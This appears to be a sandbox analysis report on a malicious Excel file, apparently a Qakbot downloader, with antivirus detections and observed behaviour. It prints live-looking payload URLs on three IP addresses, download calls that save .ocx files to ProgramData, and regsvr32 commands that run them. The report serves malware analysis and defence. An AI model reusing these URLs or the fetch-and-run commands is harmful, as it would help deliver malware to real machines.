ATTR-147470270-Apr-4.xlsb

HTTP traffic contains suspicious features which may be indicative of malware related traffic (3 events)

suspicious_features	Connection to IP address				suspicious_request	GET http://185.82.126.17/44651,6679619213.dat
suspicious_features	Connection to IP address				suspicious_request	GET http://149.255.36.223/44651,6679619213.dat
suspicious_features	Connection to IP address				suspicious_request	GET http://185.33.86.42/44651,6679619213.dat

Performs some HTTP requests (3 events)

request	GET http://185.82.126.17/44651,6679619213.dat
request	GET http://149.255.36.223/44651,6679619213.dat
request	GET http://185.33.86.42/44651,6679619213.dat

Allocates read-write-execute memory (usually to unpack itself) (2 events)

Time & API	Arguments	Status	Return	Repeated
NtProtectVirtualMemory April 6, 2022, 5:19 p.m.	process_identifier: 2100 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x75260000 process_handle: 0xffffffff	1	0	0
NtProtectVirtualMemory April 6, 2022, 5:19 p.m.	process_identifier: 2100 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x6b4b3000 process_handle: 0xffffffff	1	0	0

Creates executable files on the filesystem (3 events)

file	C:\ProgramData\Frister.ocx
file	C:\ProgramData\Frister1.ocx
file	C:\ProgramData\Frister2.ocx

Creates hidden or system file (1 event)

Time & API	Arguments	Status	Return	Repeated
NtCreateFile April 6, 2022, 5:19 p.m.	create_disposition: 2 (FILE_CREATE) file_handle: 0x00000414 filepath: C:\Users\test22\AppData\Local\Temp\~$ATTR-147470270-Apr-4.xlsb desired_access: 0xc0110080 (FILE_READ_ATTRIBUTES|DELETE|SYNCHRONIZE|GENERIC_WRITE) file_attributes: 2 (FILE_ATTRIBUTE_HIDDEN) filepath_r: \??\C:\Users\test22\AppData\Local\Temp\~$ATTR-147470270-Apr-4.xlsb create_options: 4198496 (FILE_NON_DIRECTORY_FILE|FILE_SYNCHRONOUS_IO_NONALERT|FILE_DELETE_ON_CLOSE) status_info: 2 (FILE_CREATED) share_access: 1 (FILE_SHARE_READ)	1	0	0

Creates a suspicious process (3 events)

cmdline	regsvr32 /s C:\ProgramData\Frister.ocx
cmdline	regsvr32 /s C:\ProgramData\Frister2.ocx
cmdline	regsvr32 /s C:\ProgramData\Frister1.ocx

Communicates with host for which no DNS query was performed (3 events)

host	149.255.36.223
host	185.33.86.42
host	185.82.126.17

File has been identified by 13 AntiVirus engines on VirusTotal as malicious (13 events)

Sangfor	Malware.Generic-XLM.Save.ma35
Cyren	XF/SneakyBin.E.gen!Eldorado
Avast	VBS:Malware-gen
ClamAV	Xls.Downloader.GreenOffice12210-9918618-0
Kaspersky	HEUR:Trojan.MSOffice.Generic
Tencent	Trojan.MsOffice.Macro40.11003135
McAfee-GW-Edition	Artemis
Ikarus	Trojan-Downloader.XLM.Agent
Microsoft	TrojanDownloader:O97M/Qakbot.AMDG!MTB
ZoneAlarm	HEUR:Trojan.MSOffice.Generic
GData	Macro.Trojan-Downloader.Agent.BDH
Fortinet	MSExcel/Agent.IF!tr.dldr
AVG	VBS:Malware-gen

Network communications indicative of a potential document or script payload download was initiated by the process excel.exe (3 events)

Time & API	Arguments	Status	Return	Repeated
URLDownloadToFileW April 6, 2022, 5:19 p.m.	url: http://185.82.126.17/44651,6679619213.dat stack_pivoted: 0 filepath_r: C:\ProgramData\Frister.ocx filepath: C:\ProgramData\Frister.ocx		2148270088	0
URLDownloadToFileW April 6, 2022, 5:19 p.m.	url: http://149.255.36.223/44651,6679619213.dat stack_pivoted: 0 filepath_r: C:\ProgramData\Frister1.ocx filepath: C:\ProgramData\Frister1.ocx		2148270088	0
URLDownloadToFileW April 6, 2022, 5:19 p.m.	url: http://185.33.86.42/44651,6679619213.dat stack_pivoted: 0 filepath_r: C:\ProgramData\Frister2.ocx filepath: C:\ProgramData\Frister2.ocx		2148270088	0

One or more non-whitelisted processes were created (3 events)

parent_process	excel.exe				martian_process	regsvr32 /s C:\ProgramData\Frister.ocx
parent_process	excel.exe				martian_process	regsvr32 /s C:\ProgramData\Frister2.ocx
parent_process	excel.exe				martian_process	regsvr32 /s C:\ProgramData\Frister1.ocx